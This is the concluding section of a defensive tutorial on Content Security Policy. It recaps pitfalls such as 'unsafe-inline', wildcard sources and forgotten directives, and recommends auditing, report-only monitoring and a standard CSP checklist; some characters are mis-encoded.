You now understand the critical difference between a CSP that appears secure and one that actually provides protection. Before this section, you might have thought that simply having a CSP header was sufficient, or that adding 'unsafe-inline' was a reasonable compromise. Now you recognize:
The fundamental weaknesses that undermine CSP effectivenessβparticularly how 'unsafe-inline' and 'unsafe-eval' defeat the primary purpose of CSP, making it largely cosmetic rather than protective.
The directive fallback mechanism where default-src provides baseline restrictions but specific directives completely override (not extend) those defaults, requiring explicit configuration for each resource type.
The wildcard dangers where convenient patterns like *.domain.com or protocol-less sources create broad attack surfaces by matching far more resources than intended.
The forgotten directives like object-src, base-uri, and form-action that leave attack vectors completely open even when script and style directives are properly configured.
The validation approach using report-only mode, automated tools, and staged rollouts to catch configuration errors before they impact users.
π Critical Points to Remember:
β οΈ A CSP with 'unsafe-inline' provides minimal protection against XSS attacksβthe primary threat CSP addresses
β οΈ Always explicitly set object-src 'none', base-uri 'self', and form-action 'self' unless you have specific needs otherwise
β οΈ Wildcards without HTTPS protocol prefixes allow HTTP downgrade attacks
Practical Next Steps
1. Audit Your Current Policy: If you have an existing CSP, run it through Google's CSP Evaluator immediately. Address any issues rated "high" severity before continuing development.
2. Implement Report-Only Monitoring: Set up Content-Security-Policy-Report-Only with a reporting endpoint. Analyze violations for two weeks to understand your application's actual resource loading patterns before enforcing restrictions.
3. Create a CSP Checklist: Document your organization's standard CSP configuration, including required directives (object-src, base-uri, form-action), approved third-party domains, and testing procedures. Review and update quarterly as your application and threat landscape evolve.
With these considerations in mind, you're now equipped to design CSP policies that provide genuine security without introducing operational brittlenessβbalancing protection and functionality effectively.